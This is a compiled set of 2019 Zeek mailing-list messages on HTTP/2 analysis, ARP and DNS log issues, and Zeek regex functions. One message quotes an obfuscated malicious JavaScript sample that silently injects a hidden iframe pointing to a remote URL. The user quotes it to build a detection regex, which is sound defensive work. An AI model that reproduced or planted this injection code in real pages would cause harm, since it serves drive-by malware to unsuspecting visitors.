Afaik, the Palo’s downgrade traffic to HTTP 1.1 by manipulating the TLS exchange – so you might not even see any HTTP/2 traffic. Iirc adding support for HTTP/2 was on their roadmap but not a high priority.
You can check if you actually have HTTP/2 negotiated connections by monitoring the pre-decrypted traffic and looking for the negotiated protocol in the ssl.log. The ALPN designator for standard http2 is ‘h2’.
From: <zeek-bounces(a)zeek.org> on behalf of Eric Ooi <ericooi(a)gmail.com>
Date: Wednesday, August 21, 2019 at 1:57 PM
To: "zeek(a)zeek.org" <zeek(a)zeek.org>
Subject: [EXT] [Zeek] HTTP/2 analyzer
Has anyone tried the HTTP/2 analyzer from MITRE?: https://github.com/MITRECND/bro-http2
I've installed it but it doesn't seem to generate any http2.log files. I have a Palo Alto firewall performing decryption and mirroring this decrypted traffic to my Zeek sensor. Zeek has no issue analyzing the decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic show up which is what the majority of my decrypted traffic seems to be.
Curious if anyone else has tried this or if the developers of the plugin are on the list for me to bug. :P
Thanks!
Eric
Hi all,
Most of the Zeek Week 2019 Agenda is now available at:
http://bit.ly/zeekweek19agenda
It's going to be a great line up with an Intro to Zeek Training workshop
the day before.
You have 3 participation options if you would like to attend:
1 - Workshop only (8 October)
2 - ZeekWeek Events Only (9-11 October)
3 - Workshop and ZeekWeek (8-11 October)
You can choose your the option that is best for you when you register:
http://bit.ly/zeekweek19_registration
Hotel room rates are still at the event rate for a little while longer and
registration prices will go up at then end of the month so don't wait,
register today.
Please let me know if you have any questions and I hope to see you in
Seattle on 8-11 October, 2019.
Thanks,
~Amber
--
*Amber Graner*
Director of Community
Corelight, Inc
828.582.9469
* Ask me about how you can participate in the Zeek (formerly Bro)
community.
* Remember - ZEEK AND YOU SHALL FIND!!
Has anyone tried the HTTP/2 analyzer from MITRE?:
https://github.com/MITRECND/bro-http2
I've installed it but it doesn't seem to generate any http2.log files. I
have a Palo Alto firewall performing decryption and mirroring this
decrypted traffic to my Zeek sensor. Zeek has no issue analyzing the
decrypted HTTP/1.1 traffic but I haven't yet seen decrypted HTTP/2 traffic
show up which is what the majority of my decrypted traffic seems to be.
Curious if anyone else has tried this or if the developers of the plugin
are on the list for me to bug. :P
Thanks!
Eric
Hi,
Been trying to get a piece of regex to work with Zeek for a couple of days, I am trying to extract the following string:
yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';
From the following block of text:
jigsr='navigator';coon3='document';tiltu=window;prod8=tiltu[coon3];tensg=tiltu[jigsr];var wnd=window;yDGNWQPxJVs='http:/'+'/bitmp'+'3searc'+'h.in/o'+'5p9hd_'+'j/Zl2A'+'h0B35_'+'D5FfDH'+'INcy';var doc=wnd.document;OEkQahbGTK=yDGNWQPxJVs;function setCookie(name,value,expires){doc.cookie=name+'='+escape(value)+"; expires="+expires.toGMTString()+"; path=/";return;}function getCookie(name){var cookie=' '+doc.cookie;var search=' '+name+'=';var setStr=null;var offset = 0;var end = 0;if (cookie.length > 0) {offset = cookie.indexOf(search);if (offset != -1) {offset += search.length;end = cookie.indexOf(';', offset);if (end == -1) {end = cookie.length;}setStr = wnd.unescape(cookie.substring(offset, end));}}return setStr;}function UslhyuLiAkJ(){if(!getCookie("BFQPubsjgY")){var expires=new Date();expires.setTime(expires.getTime()+0x5265c00);setCookie("BFQPubsjgY",'6efa5b267ee02fc3e86fc6422fd62e2b',expires);return true}else{return false}}function AjheiSHvrOq(j7r){var w9,f5h,av,l1;l1='onload';av='addEventListener';f5h='attachEvent';w9='DOMContentLoaded';prod8[av]?prod8[av](w9,j7r):window[f5h](l1,j7r)}function jWpkbYMLKS(){var qy;qy='userAgent';return tensg[qy]}function RTANcyPJq(y0l,np1){var p7;p7='test';return y0l[p7](np1)}function hDGVdQzyACP(){var fq;fq=jWpkbYMLKS();return RTANcyPJq(/Win64;/i,fq)||RTANcyPJq(/x64;/i,fq)}function XxIbmUNTRD(){var ai,be;be=(/Trident/i);ai=jWpkbYMLKS();if(!RTANcyPJq(be,ai)){return 0}else{return true}}function YSUTWLtuoX(){var jq6,u0u,l2,hn,r7c,qt7,y1,nmv,fa,bv,ag,cun,zu5,pqe;bv='posi'+'tion:absolut'+'e;left:-15'+'23px;t'+'op:-153'+'7px';nmv='src';y1='iframe';u0u='cssText';l2='getElementsByTagName';cun='body';qt7='width';fa='height';pqe='appendChild';hn='createElement';r7c='style';ag='10';if(UslhyuLiAkJ()&&XxIbmUNTRD()&&!hDGVdQzyACP()){jq6=ag;zu5=prod8[hn](y1);zu5[qt7]=jq6;zu5[fa]=jq6;zu5[r7c][u0u]=bv;zu5[nmv]=OEkQahbGTK;prod8[l2](cun)[0][pqe](zu5)}}AjheiSHvrOq(YSUTWLtuoX);
On https://regexr.com/ I use the regex:
[\d\w]+[\s]*\=[\s]*((\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+([\s]|\+)+)+(\'([\:\/\.\_\-]|[\d\w]|[\s])+\')+\;?
This correctly identifies the string. I’m now trying to get this same regex pattern to work in zeek, I converted the syntax as follows:
local concat = find_all(data, /[:alnum:]+[:space:]*\=[:space:]*((\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+([:space:]|\+)+)+(\'([\:\/\.\_\-]|[:alnum:]|[:space:])+\')+\;?/i);
Unfortunately, this is not matching and I can’t understand why not. Logically, it is exactly the same as the regex pattern I’ve tested on RegExr.
It’s a long shot but if anyone can spot what I’m doing wrong, please let me know 😊
Thanks,
Jonah
Hi all,
I've been making use of this script i found online to generate ARP logs:
https://gist.github.com/grigorescu/a28b814a8fb626e2a7b4715d278198aa
As i've been testing the script i noticed sometimes the PCAPs have lines
that the script can't process, and I get these lines as output:
1550819487.247128 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.247129 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.750980 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819487.750981 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819489.150965 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
1550819489.150966 expression error in
/usr/local/zeek/share/zeek/base/protocols/arp/./arp_main.zeek, line 206: no
such index (ARP::arp_states[ARP::THA])
This is an example packet that causes this type of behavior:
https://packettotal.com/app/analysis?id=ccdd36227128010cf7e85f6a452fabbd
If anyone has any idea how to correct this behavior, any help would be
appreciated.
Thank you.
Hi,
I’m replaying PCAPs through Zeek and using the HTTP building up maps of URL redirection chains. I wrote a script which uses bodies.bro to resassemble HTTP bodies and then I use regex to scan for possible HTML/JavaScript/iFrame-based redirections. Now that I have test cases for 400+ PCAPs I’ve identified that Zeek will sometimes fail to resassemble the HTTP body correctly, so regex won’t extract the redirection code..
For some PCAPs this happens ~50% of the time, for others ~10% of the time.. For the majority of PCAPs, this doesn’t occur at all.
If anybody has any ideas what could be causing the inconsistencies, please let me know! Since the PCAPs remain the same between execution attempts, I can’t understand why the results would vary like this.
Thanks,
Jonah
Hi all,
I am using Zeek to run a PCAP and then parsing/processing the
generated logs to make sense of the traffic.
The issue I’m having is with the DNS parser. It is not always producing
what I’m expecting it to.
In particular, it doesn’t always parse the type from the DNS traffic PCAP,
which is one of the markers my code looks for.
If I look using Wireshark with the same PCAP I see that the type “A” is
present, as I would expect it to be.
However, the resulting Zeek dns.log is missing that field in particular.
I need Zeek to parse this type field out so I know to look into the domain
visited to make sure it is legitimate.
Are there any known issues with the DNS parser, or any known solutions to
this particular problem?
Here is an example generated by navigating to a webpage
1565970799.068532 CK9bYM3SGJHwpPNW12 192.168.100.3 19024
192.168.100.1 53 udp 10896 -
rl.ammyy.com - - - - 0 NOERROR F F F T
0 188.42.129.148 278.000000 F
To the best of my understanding, the field which is marked empty "-“, 2
fields prior to NOERROR field should be “A”.
This works for other instances of traffic I can find in PCAPs from the
internet, but not from the ones generated by me capturing local traffic
while navigating to the website.
Thank you!
P.S. if I left out any important information please let me know so I can
include it, I’m still new to the IDS
Thanks, I think that’s just what I was looking for with the regex variables. Does that mean I need to add ‘i’ after each of the concatenated patterns for it to be case insensitive?
e.g.
q = /[\‘\’\'\"\s]*(?:"|')*/i
q* & /test/i & q & /test2/i & q & /test3/i
The string_to_pattern function will be very handy too ??
Regarding my last message, I realised I can also use find_all instead of match_pattern to find all occurances so that’s awesome.
Thanks,
Jonah
From: Jon Siwek<mailto:jsiwek@corelight.com>
Sent: 14 August 2019 20:25
To: Jonah Burgess<mailto:jburgess03@qub.ac.uk>
Subject: Re: [Zeek] Some issues with find_all_urls() function
On Tue, Aug 13, 2019 at 5:25 PM Jonah Burgess <jburgess03(a)qub.ac.uk> wrote:
>
> Regarding question 4 I think the concatenation would still take my literal string so I couldn’t store it in a variable e.g. I’d have to do:
>
> /[\‘\’\'\"\s]*(?:"|')*/ & /test/ & /[\‘\’\'\"\s]*(?:"|')*/ & /test2/ & /[\‘\’\'\"\s]*(?:"|')*/
>
> Instead of:
>
> q = r"[\‘\’\'\"\s]*(?:"|')*"
>
> /q*/ & /test/ & /q*/ & /test2/ & /q*/
You can't use the variable directly inside the regex within the '/'
delimiters, but you can just use the variable itself to do simple
concatenations:
local q = /something/;
local r = q & /another thing/;
It's true that it's not as flexible as being able to expand the
variable within the regex itself, but still may help for cases where
you just repeat the same pattern text multiple times.
> Currently I am using match_pattern() to extract different blocks of text and then at the end, I want to search the remaining text. Any idea how I can do this efficiently (without having to re-search the already extracted and searched blocks)?
Maybe see something like this to iterate over an input string and then
just modify that input string to chop off everything
up-to-and-including the first match:
local input_string = "foobar and foo bar and foo ...";
while ( T )
{
print fmt("matching input string: '%s'", input_string);
local res = match_pattern(input_string, /foo/);
if ( ! res$matched )
break;
print fmt("match at offset %d: '%s'", res$off, res$str);
input_string = input_string[(res$off - 1 + |res$str|):];
}
print fmt("remaining: '%s'", input_string);
> This kind of relates to my last issue; if I were able to convert a string to pattern, then I would just call the sub() function on the original block of text (subbing out each of the pattern matches I retrieved from the earlier blocks of text). Can you convert a string to a pattern?
There's the `string_to_pattern` function:
https://docs.zeek.org/en/stable/scripts/base/bif/bro.bif.bro.html#id-string…
(Ignore the note there that it must be called at startup time, that
documentation is outdated).
I'd probably use the other iteration code I gave above, though rather
than create patterns like this.
- Jon
Furthermore, is there an alternative to match_pattern that returns all matches for a pattern?
It would probably help if I could more better documentation about regex functions in Zeek.. I have this: https://docs.zeek.org/en/stable/scripts/base/utils/patterns.bro.html but if anybody could recommend more resources it would be appreciated.
Thanks,
Jonah
From: Jonah Burgess<mailto:jburgess03@qub.ac.uk>
Sent: 14 August 2019 12:20
To: zeek(a)zeek.org<mailto:zeek@zeek.org>
Subject: [Zeek] Regex - Can you return the matched pattern using sub?
Hi,
Can I replace a pattern in a string with “” but also return the matched pattern?
Basically I am extracting different blocks of text from a string using match_pattern() but then at the end, I want to search all the remaining text (minus the blocks that were already extracted).
I tried simply calling gsub(data, pattern, “”) just after calling block[n] = match_pattern(data, pattern) but this didn’t seem to benefit performance at all. I’m sure there must be a better way :/
Thanks in Advance,
Jonah